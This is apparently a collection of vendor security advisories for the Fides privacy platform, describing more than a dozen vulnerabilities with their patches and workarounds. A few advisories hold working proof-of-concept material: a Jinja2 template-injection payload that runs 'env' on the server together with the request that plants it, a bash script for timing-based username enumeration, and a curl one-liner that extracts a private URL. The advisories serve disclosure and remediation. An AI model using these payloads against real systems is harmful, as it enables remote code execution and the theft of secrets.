Impact The Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit a weakness in the connector template upload feature to upload a malicious zip bomb file, resulting in resource exhaustion and service unavailability for all users of the Fides webserver.

This vulnerability affects Fides versions 2.11.0 through 2.15.1. Exploitation is limited to users with elevated privileges with the CONNECTORTEMPLATEREGISTER scope, which includes root users and users with the owner role.

Patches The vulnerability has been patched in Fides version 2.16.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There is no known workaround to remediate this vulnerability without upgrading. If an attack occurs, the impact can be mitigated by manually or automatically restarting the affected container.

References More information about this type of vulnerability can be found at the following links:

- https://www.bamsoftware.com/hacks/zipbomb/ - https://python-security.readthedocs.io/security.html#archives-and-zip-bomb-cve-2019-9674

Impact The Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit this vulnerability to upload zip files containing malicious SVG bombs (similar to a billion laughs attack), causing resource exhaustion in Admin UI browser tabs and creating a persistent denial of service of the 'new connector' page (datastore-connection/new).

This vulnerability affects Fides versions 2.11.0 through 2.15.1. Exploitation is limited to users with elevated privileges with the CONNECTORTEMPLATEREGISTER scope, which includes root users and users with the owner role.

Patches The vulnerability has been patched in Fides version 2.16.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There is no known workaround to remediate this vulnerability without upgrading.

Impact A path traversal (directory traversal) vulnerability affects fides versions lower than 2.15.1, allowing remote attackers to access arbitrary files on the fides webserver container's filesystem.

Patches The vulnerability is patched in fides 2.15.1. Users should upgrade to this version.

Workarounds If the Fides webserver API is not directly accessible to attackers and is instead deployed behind a reverse proxy as recommended in Ethyca's security best practice documentation, and the reverse proxy is an AWS application load balancer, the vulnerability can't be exploited by these attackers. An AWS application load balancer will reject this attack with a 400 error.

Additionally, any secrets supplied to the container using environment variables rather than a fides.toml configuration file are not affected by this vulnerability.

Fides is an open-source privacy engineering platform. The Fides webserver has a number of endpoints that retrieve ConnectionConfiguration records and their associated secrets which can contain sensitive data (e.g. passwords, private keys, etc.). These secrets are stored encrypted at rest (in the application database), and the associated endpoints are not meant to expose that sensitive data in plaintext to API clients, as it could be compromising. Fides's developers have available to them a Pydantic field-attribute (sensitive) that they can annotate as True to indicate that a given secret field should not be exposed via the API. The application has an internal function that uses sensitive annotations to mask the sensitive fields with a "" placeholder value. This vulnerability is due to a bug in that function, which prevented sensitive API model fields that were nested below the root-level of a secrets object from being masked appropriately. Only the BigQuery connection configuration secrets meets these criteria: the secrets schema has a nested sensitive keyfilecreds.privatekey property that is exposed in plaintext via the APIs. Connection types other than BigQuery with sensitive fields at the root-level that are not nested are properly masked with the placeholder and are not affected by this vulnerability. This vulnerability has been patched in Fides version 2.37.0. Users are advised to upgrade to this version or later to secure their systems against this threat. Users are also advised to rotate any Google Cloud secrets used for BigQuery integrations in their Fides deployments. There are no known workarounds for this vulnerability.

Fides is an open-source privacy engineering platform. The Fides webserver requires a connection to a hosted PostgreSQL database for persistent storage of application data. If the password used by the webserver for this database connection includes special characters such as @ and $, webserver startup fails and the part of the password following the special character is exposed in webserver error logs. This is caused by improper escaping of the SQLAlchemy password string. As a result users are subject to a partial exposure of hosted database password in webserver logs. The vulnerability has been patched in Fides version 2.37.0. Users are advised to upgrade to this version or later to secure their systems against this threat. There are no known workarounds for this vulnerability.

Summary

The user invite acceptance API endpoint lacks server-side password policy enforcement, allowing users to set arbitrarily weak passwords by bypassing client-side validation. While the UI enforces password complexity requirements, direct API calls can circumvent these checks, enabling the creation of accounts with passwords as short as a single character.

Details

When an email messaging provider is enabled and a new user account is created in the system, an invite email containing a special link is sent to the new user's email address. This link directs the new user to a page where they can set their initial password. While the user interface implements password complexity checks, these validations are only performed client-side. The underlying /api/v1/user/accept-invite API endpoint does not implement the same password policy validations.

Impact

This vulnerability allows an invited user to set an extremely weak password for their own account during the initial account setup process. Therefore that specific user's account can be compromised easily by an attacker guessing or brute forcing the password.

Patches

The vulnerability has been patched in Fides version 2.50.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Severity

This vulnerability has been assigned a severity of LOW.

Using CVSS v3.1 it could be scored as CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N (5.7 Medium/Moderate), but the likelihood of a user bypassing client-side password complexity rules to set their own password is very low.

Summary The OAuth client creation and update endpoints of the Fides Webserver API do not properly authorize scope assignment. This allows highly privileged users with client:create or client:update permissions to escalate their privileges to owner-level.

Details When creating or updating OAuth clients, the API validates only that requested scopes exist in the system registry. It does not verify that the requester already possesses the scopes they are assigning, allowing these users to assign arbitrary scopes to OAuth clients.

Impact This allows contributor-level users to escalate to owner-equivalent privileges, gaining access to user management, system configuration, and permission assignment capabilities they should not possess.

Patches The vulnerability has been patched in Fides version 2.69.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There are no workarounds.

Risk Level This vulnerability has been assigned a severity of HIGH. Contributor users are already highly privileged, only a handful of scopes are not already available to them, but these scopes can be abused for high impact.

Summary

The Fides Webserver API's built-in IP-based rate limiting is ineffective in environments with CDNs, proxies or load balancers. The system incorrectly applies rate limits based on directly connected infrastructure IPs rather than client IPs, and stores counters in-memory rather than in a shared store. This allows attackers to bypass intended rate limits and potentially cause denial of service.

This vulnerability only affects deployments relying on Fides's built-in rate limiting for protection. Deployments using external rate limiting solutions (WAFs, API gateways, etc.) are not affected.

Details

The vulnerability has two components:

1. Rate limiting uses the immediate connection source IP instead of the actual client IP 2. Rate limit counters are maintained in-memory per container rather than in a shared store

In production environments, these issues allow clients to exceed intended rate limits and enable attackers to trigger rate limits on infrastructure IPs, causing legitimate clients to receive 429 responses.

Impact

This vulnerability affects availability, allowing attackers to:

- Bypass rate limits, potentially leading to resource exhaustion - Cause a denial of service for legitimate clients by deliberately triggering rate limits on infrastructure IPs

Patches

The vulnerability has been patched in Fides version 2.69.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no application-level workarounds. However, rate limiting may instead be implemented externally at the infrastructure level using a WAF, API Gateway, or similar technology.

Risk Level

This vulnerability has been assigned a severity of MEDIUM.

Summary

The Fides Admin UI login endpoint relies on a general IP-based rate limit for all API traffic and lacks specific anti-automation controls designed to protect against brute-force attacks. This could allow attackers to conduct credential testing attacks, such as credential stuffing or password spraying, which poses a risk to accounts with weak or previously compromised passwords.

Details

Fides uses a configurable, system-wide rate limit to control traffic from any single IP address. Because this single limit must be set high enough to accommodate endpoints that receive a large volume of legitimate traffic, it offers only weak protection for the login endpoint. The system is not equipped with more advanced protections tailored specifically for authentication

Impact

Although password complexity requirements and the global rate limit make a traditional brute-force attack against a single account difficult, the lack of authentication-specific protections exposes Fides to more targeted attacks. An attacker could use automated tools to test credentials obtained from data breaches or guess common passwords across multiple user accounts. If an attacker successfully compromises an account, they would gain full access to that user's privileges within the Fides Admin UI.

Patches

The vulnerability has been patched in Fides version 2.69.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

For organizations with commercial Fides Enterprise licenses, configuring Single Sign-On (SSO) through an OIDC provider (like Azure, Google, or Okta) is an effective workaround. When OIDC SSO is enabled, username/password authentication can be disabled entirely, which eliminates this attack vector. This functionality is not available for Fides Open Source users.

Risk Level

This vulnerability has been assigned a severity of LOW.

This is fundamentally a security hardening issue. While the lack of authentication-specific rate limiting could enable credential stuffing attacks, several factors limit the risk: existing global rate limits provide baseline protection, password complexity requirements prevent trivial brute-force attacks, and successful exploitation requires attackers to already possess valid credentials from external breaches.

Summary

Admin UI user password changes in Fides do not invalidate active user sessions, creating a vulnerability chaining opportunity where attackers who have obtained session tokens through other attack vectors (such as XSS) can maintain access even after password reset. This issue is not directly exploitable on its own and requires a prerequisite vulnerability to obtain valid session tokens in the first place.

Details

Fides uses encrypted authentication tokens with extended expiration periods. When a password is changed via password reset endpoints, the system updates the password hash in the database but does not invalidate existing client sessions or tokens. The authentication system validates tokens based on their cryptographic integrity and expiration time, not against the current password state.

The frontend application stores authentication state in browser local storage, which persists across browser sessions until explicit logout or natural token expiration.

This behavior alone does not constitute a directly exploitable vulnerability. The security issue only becomes exploitable when chained with other vulnerabilities or conditions that allow attackers to obtain valid session tokens, such as:

- Cross-Site Scripting (XSS) attacks that can access browser storage where tokens are stored - Session hijacking through network interception - Malware on the user's device that can read browser storage - Physical device access where attackers can access browser storage directly

Impact

This vulnerability serves as a persistence mechanism in attack chains rather than a primary attack vector. When chained with token theft vulnerabilities, it allows attackers to:

- Maintain access beyond the remediation window when users change passwords in response to suspected compromise - Extend the impact timeframe of client-side attacks from minutes/hours to potentially an extended period - Defeat common incident response procedures that rely on password changes to secure compromised accounts

Stored tokens persist across browser sessions until explicit logout or natural expiration.

Patches

The vulnerability has been patched in Fides version 2.69.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Severity

This vulnerability has been assigned a severity of LOW because:

- No direct exploitability - requires chaining with other vulnerabilities - High attack complexity - multiple successful exploits needed - Limited standalone impact - only extends existing compromises - Aligns with industry standard classifications of LOW severity for session invalidation failures

This is fundamentally a defense-in-depth issue rather than a primary security vulnerability.

SERVERSIDEFIDESAPIURL is a server-side configuration environment variable used by the Fides Privacy Center to communicate with the Fides webserver backend. The value of this variable is a URL which typically includes a private IP address, private domain name, and/or port.

This vulnerability allows an unauthenticated attacker to make a HTTP GET request from the Privacy Center that discloses the value of this server-side URL.

Impact

Disclosure of server-side configuration giving an attacker information on server-side ports, private IP addresses, and/or private domain names.

Patches The vulnerability has been patched in Fides version 2.39.2. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There are no workarounds.

Proof of Concept

1. Set the value of the environment variable FIDESPRIVACYCENTERSERVERSIDEFIDESAPIURL of your Fides Privacy Center container before start-up to a private value such as https://some.private.domain.name/api/v1 and start the Privacy Center application.

2. Once the application is up, perform a HTTP GET request of the Privacy Center's main page e.g. https://privacy.example.com . The value of SERVERSIDEFIDESAPIURL is returned in the response's body.

~ ❯ curl -s https://privacy.example.com/ | \ grep 'NEXTDATA' | \ sed 's/.<script id="NEXTDATA" type="application\/json">//;s/<\/script>.//' | \ jq '.props.serverEnvironment.settings.SERVERSIDEFIDESAPIURL' "https://some.private.domain.name/api/v1"

Note

On Thursday, June 27, 2024, Cloudflare and Namecheap intervened at a domain level to ensure polyfill.io and its subdomains could not resolve to the compromised service, rendering this vulnerability unexploitable.

The following sections describe this vulnerability prior to the domain level intervention, when it was still exploitable.

Impact

fides.js, a client-side script used to interact with the consent management features of Fides, used the polyfill.io domain in a very limited edge case, when it detected a legacy browser such as IE11 that did not support the fetch standard.

On June 25th, 2024, Sansec published the following regarding the polyfill.io domain.

The polyfill.js is a popular open source library to support older browsers. 100K+ sites embed it using the cdn.polyfill.io domain... However, in February this year, a Chinese company bought the domain and the Github account. Since then, this domain was caught injecting malware on mobile devices via any site that embeds cdn.polyfill.io.

Therefore it was possible for users of legacy, pre-2017 browsers who navigate to a page serving fides.js to download and execute malicious scripts from the compromised domain.

No exploitation of fides.js via polyfill.io has been identified at this time, but other script developers who use https://cdn.polyfill.io/v2/polyfill.min.js have reported redirects to malicious websites.

Patches The vulnerability has been patched in Fides version 2.39.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

Prior to the domain level intervention, there were no server-side workarounds and the confidentiality, integrity, and availability impacts of this vulnerability were high.

Clients could ensure they were not affected by using a modern browser that supported the fetch standard. caniuse.com/fetch estimates that 97.52% of browser users use a browser that supports the fetch standard.

References - https://sansec.io/research/polyfill-supply-chain-attack - https://github.com/ethyca/fides/pull/5026/ - https://fetch.spec.whatwg.org/

Impact

The Fides web application allows data subject users to request access to their personal data. If the request is approved by the data controller user operating the Fides web application, the data subject's personal data can then retrieved from connected systems and data stores before being bundled together as a data subject access request package for the data subject to download. Supported data formats for the package include json and csv, but the most commonly used format is a series of HTML files compressed in a ZIP file. Once downloaded and unzipped, the data subject user can browse the HTML files on their local machine.

It was identified that there was no validation of input coming from e.g. the connected systems and data stores which is later reflected in the downloaded data. This can result in an HTML injection that can be abused e.g. for phishing attacks or malicious JavaScript code execution, but only in the context of the data subject's browser accessing a HTML page using the file:// protocol.

Exploitation is limited to rogue Admin UI users, malicious connected system / data store users, and the data subject user if tricked via social engineering into submitting malicious data themselves.

Patches The vulnerability has been patched in Fides version TBC. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds Only Fides deployments which have been configured to use html as the package format in the storage destination are vulnerable. Using json or csv instead eliminates this vulnerability.

Impact The Fides web application allows users to edit consent and privacy notices such as cookie banners. These privacy notices can then be served by other integrated websites, for example in cookie consent banners. One of the editable fields is a privacy policy URL and this input was found to not be validated.

The vulnerability makes it possible to craft a payload in the privacy policy URL which triggers JavaScript execution when the privacy notice is served by an integrated website. The domain scope of the executed JavaScript is that of the integrated website.

Exploitation is limited to Admin UI users with the contributor role or higher.

Patches The vulnerability has been patched in Fides version 2.22.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There are no workarounds.

Impact

The Fides web application allows a custom integration to be uploaded as a ZIP file containing configuration and dataset definitions in YAML format.

It was discovered that specially crafted YAML dataset and config files allow a malicious user to perform arbitrary requests to internal systems and exfiltrate data outside the environment (also known as a Server-Side Request Forgery). The application does not perform proper validation to block attempts to connect to internal (including localhost) resources.

Exploitation is limited to API clients with the CONNECTORTEMPLATEREGISTER authorization scope. In the Fides Admin UI this scope is restricted to highly privileged users, specifically root users and users with the owner role.

Patches The vulnerability has been patched in Fides version 2.22.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There are no workarounds.

Impact The Fides webserver API allows users to retrieve its configuration using the GET api/v1/config endpoint. The configuration data is filtered to suppress most sensitive configuration information before it is returned to the user, but even the filtered data contains information about the internals and the backend infrastructure, such as various settings, servers’ addresses and ports and database username. This information is useful for administrative users as well as attackers, thus it should not be revealed to low-privileged users.

This vulnerability allows Admin UI users with roles lower than the owner role e.g. the viewer role to retrieve the config information using the API.

Patches The vulnerability has been patched in Fides version 2.22.1. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There are no workarounds.

Summary The Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default Owner or Contributor role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.

Details The application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.

It was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.

Admin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability: - Owner - Contributor

OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.

Impact This vulnerability allows an attacker with sufficient privileges (Owner, Contributor, messaging-template:update) to execute arbitrary code remotely (Remote Code Execution) and escalate their privileges to those of a user on the Fides Webserver container. This escalated access grants the attacker control of the Fides Webserver application, including unauthorized access to integrated resources such as the hosted database, hosted cache, integrated data stores, and integrated SaaS applications. Potential impacts range from denial of service to the exfiltration of sensitive data unavailable to the user prior to the escalation of access.

Patches The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There are no workarounds.

PoC The following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables: jinja Your privacy request has been denied. bb {% for s in ().class.base.subclasses() %}{% if "warning" in s.name %}{{s().module.builtins'import'.popen("env").read() }}{% endif %} {% endfor %} aa

The following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template: http PUT /api/v1/messaging/templates/autogenerated-mesce649254-a90b-4073-ae12-193650064220 HTTP/2 Host: <redacted host> Cookie: fbp=fb.1.17232<..REDACTED>ga=GA1.1.263756963.1723471626 Content-Length: 361 Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126" Unescape-Safestr: true Sec-Ch-Ua-Mobile: ?0 Authorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..<REDACTED> User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Content-Type: application/json Access-Control-Allow-Origin: X-Fides-Source: fidesops-admin-ui Sec-Ch-Ua-Platform: "Linux" Accept: / Origin: https://<redacted host> Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://<redacted host>/messaging/autogenerated-mesce649254-a90b-4073-ae12-193650064220 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=1, i

{ "isenabled": true, "content": { "subject": "Your privacy request has been denied XXX", "body": "Your privacy request has been denied. \nbb\n{% for s in ().class.base.subclasses() %}{% if \"warning\" in s.name %}{{s().module.builtins'import'.popen(\"env\").read() }}{% endif %}\n{% endfor %}\naa\n" }, "properties": [ "FDS-JICO87" ] }

As a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container's environment variables will be included in the email the end-user receives.

<img width="851" alt="rce-email" src="https://github.com/user-attachments/assets/97a395c6-b163-4656-b551-fe3dcd748813">

Impact The Fides webserver API allows custom integrations to be uploaded as a ZIP file. This ZIP file must contain YAML files, but Fides can be configured to also accept the inclusion of custom Python code in it. The custom code is executed in a restricted, sandboxed environment, but the sandbox can be bypassed to execute any arbitrary code.

The vulnerability allows the execution of arbitrary code on the target system within the context of the webserver python process owner on the webserver container, which by default is root, and leverage that access to attack underlying infrastructure and integrated systems.

This vulnerability affects Fides versions 2.11.0 through 2.18.0.

Exploitation is limited to API clients with the CONNECTORTEMPLATEREGISTER authorization scope. In the Fides Admin UI this scope is restricted to highly privileged users, specifically root users and users with the owner role.

Exploitation is only possible if the security configuration parameter allowcustomconnectorfunctions is enabled by the user deploying the Fides webserver container, either in fides.toml or by setting the env var FIDESSECURITYALLOWCUSTOMCONNECTORFUNCTIONS=True. By default this configuration parameter is disabled.

Patches The vulnerability has been patched in Fides version 2.19.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds Ensure that allowcustomconnectorfunctions in fides.toml and the FIDESSECURITYALLOWCUSTOMCONNECTORFUNCTIONS are both either unset or explicit set to False.

A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system.

Impact This vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server's response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.

Patches The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds There are no workarounds.

Proof of Concept

1. Create a valid user called validuser on a remote Fides server. Ensure that there is no user on the server named invaliduser. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests. 2. In a terminal run export LOGINURL='https://example.com/api/v1/login', replacing example.com with your remote Fides server's domain or IP address. 3. In the same terminal run exploit-poc.sh (detailed below). 4. It's possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.

<details> <summary>Exploit PoC script</summary>

bash #!/bin/bash

Function to test login and calculate average transfer times testlogin(){ echo -e "\nTesting login for user: $1\n" totaldiff=0

for (( i=1; i <= 20; ++i )) do echo -n "Attempt #$i: " resp=$(curl -w @- "$LOGINURL" \ -H 'content-type: application/json' \ --data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \ -o /dev/null -s <<'EOF' { "pretransfer": %{timepretransfer}, "starttransfer": %{timestarttransfer} } EOF ) pre=$(echo $resp | jq '.pretransfer') start=$(echo $resp | jq '.starttransfer') diff=$(echo "$start - $pre" | bc)

# Accumulate total diff totaldiff=$(echo "$totaldiff + $diff" | bc) # Print the result of this iteration printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff" done # Calculate average diff avgdiff=$(echo "scale=4; $totaldiff / 20" | bc) # Print average time echo -e "\nAverage Time Difference for $1: $avgdiff seconds\n" }

Ensure that LOGINURL is set if [ -z "$LOGINURL" ]; then echo "Error: LOGINURL environment variable is not set." exit 1 fi

Test valid and invalid users testlogin validuser testlogin invaliduser

</details>

<details> <summary>Sample script run</summary>

~ ❯ ./exploit-poc.sh

Testing login for user: validuser

Attempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398 Attempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751 Attempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512 Attempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932 Attempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127 Attempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113 Attempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085 Attempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344 Attempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673 Attempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321 Attempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029 Attempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014 Attempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336 Attempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201 Attempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235 Attempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078 Attempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517 Attempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572 Attempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564 Attempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785

Average Time Difference for validuser: .6779 seconds

Testing login for user: invaliduser

Attempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626 Attempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498 Attempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694 Attempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122 Attempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088 Attempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406 Attempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599 Attempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518 Attempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353 Attempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476 Attempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443 Attempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573 Attempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361 Attempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440 Attempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449 Attempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512 Attempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673 Attempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977 Attempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013 Attempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410

Average Time Difference for invaliduser: .3161 seconds

~ ❯ </details>

Severity

This vulnerability has been assigned a severity of LOW.

Using CVSS v3.1 it could be scored asAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3 Medium/Moderate) or AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N (0.0 None) depending on the Confidentiality impact metric used.

In Bugcrowd's vulnerability rating taxonomy it most likely be assigned a technical severity of P4 (Low) Broken Access Control (BAC) > Username/Email Enumeration > Non-Brute Force.

Impact

The Fides Privacy Center allows data subject users to submit privacy and consent requests to data controller users of the Fides web application.

Privacy requests allow data subjects to submit a request to access all person data held by the data controller, or delete/erase it. Consent request allows data subject users to modify their privacy preferences for how the data controller uses their personal data e.g. data sales and sharing consent opt-in/opt-out.

If subjectidentityverificationrequired in the [execution] section of fides.toml or the env var FIDESEXECUTIONSUBJECTIDENTITYVERIFICATIONREQUIRED is set to True on the fides webserver backend, data subjects are sent a one-time code to their email address or phone number, depending on messaging configuration, and the one-time code must be entered in the Privacy Center UI by the data subject before the privacy or consent request is submitted.

It was identified that the one-time code values for these requests were generated by the python random module, a cryptographically weak pseduo-random number generator (PNRG). If an attacker generates several hundred consecutive one-time codes, this vulnerability allows the attacker to predict all future one-time code values during the lifetime of the backend python process.

There is no security impact on data access requests as the personal data download package is not shared in the Privacy Center itself. However, this vulnerability allows an attacker to (i) submit a verified data erasure request, resulting in deletion of data for the targeted user and (ii) submit a verified consent request, modifying a user's privacy preferences.

Patches The vulnerability has been patched in Fides version 2.24.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds None

References https://peps.python.org/pep-0506/